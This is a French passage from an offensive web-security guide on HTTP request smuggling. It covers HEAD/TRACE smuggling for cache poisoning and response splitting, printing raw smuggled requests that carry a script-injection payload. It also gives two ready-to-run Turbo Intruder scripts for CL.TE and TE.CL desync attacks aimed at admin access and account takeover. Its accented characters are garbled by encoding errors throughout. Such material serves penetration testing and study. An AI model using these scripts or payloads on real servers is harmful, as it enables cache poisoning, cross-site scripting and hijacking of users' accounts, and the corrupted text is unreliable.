Un exemple de la façon d'abuser de ce comportement serait de smuggler d'abord une requĂȘte HEAD. Cette requĂȘte sera rĂ©pondue uniquement avec les en-tĂȘtes d'une requĂȘte GET (Content-Type parmi eux). Et smuggler immĂ©diatement aprĂšs la HEAD une requĂȘte TRACE, qui va rĂ©flĂ©chir les donnĂ©es envoyĂ©es.
Comme la rĂ©ponse HEAD contiendra un en-tĂȘte Content-Length, la rĂ©ponse de la requĂȘte TRACE sera traitĂ©e comme le corps de la rĂ©ponse HEAD, rĂ©flĂ©chissant donc des donnĂ©es arbitraires dans la rĂ©ponse.
Cette rĂ©ponse sera envoyĂ©e Ă  la prochaine requĂȘte sur la connexion, donc cela pourrait ĂȘtre utilisĂ© dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire.

Abuser de TRACE via le HTTP Response Splitting

Continuer Ă  suivre ce post est suggĂ©rĂ© comme une autre façon d'abuser de la mĂ©thode TRACE. Comme commentĂ©, smuggler une requĂȘte HEAD et une requĂȘte TRACE permet de contrĂŽler certaines donnĂ©es rĂ©flĂ©chies dans la rĂ©ponse Ă  la requĂȘte HEAD. La longueur du corps de la requĂȘte HEAD est essentiellement indiquĂ©e dans l'en-tĂȘte Content-Length et est formĂ©e par la rĂ©ponse Ă  la requĂȘte TRACE.

Par consĂ©quent, la nouvelle idĂ©e serait que, connaissant ce Content-Length et les donnĂ©es fournies dans la rĂ©ponse TRACE, il est possible de faire en sorte que la rĂ©ponse TRACE contienne une rĂ©ponse HTTP valide aprĂšs le dernier octet du Content-Length, permettant Ă  un attaquant de contrĂŽler complĂštement la requĂȘte Ă  la prochaine rĂ©ponse (ce qui pourrait ĂȘtre utilisĂ© pour effectuer un empoisonnement de cache).

Exemple :

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps de la HEAD et une fois que le Content-Length de la HEAD se termine, une réponse HTTP valide est camouflée) :

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Armer le HTTP Request Smuggling avec la désynchronisation de la réponse HTTP

Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :

HTTP Response Smuggling / Desync

Autres techniques de HTTP Request Smuggling

  • HTTP Request Smuggling dans le navigateur (CĂŽtĂ© client)

Browser HTTP Request Smuggling

  • Request Smuggling dans les rĂ©trogradations HTTP/2

Request Smuggling in HTTP/2 Downgrades

Scripts Turbo intruder

CL.TE

Depuis https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De : https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Outils

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks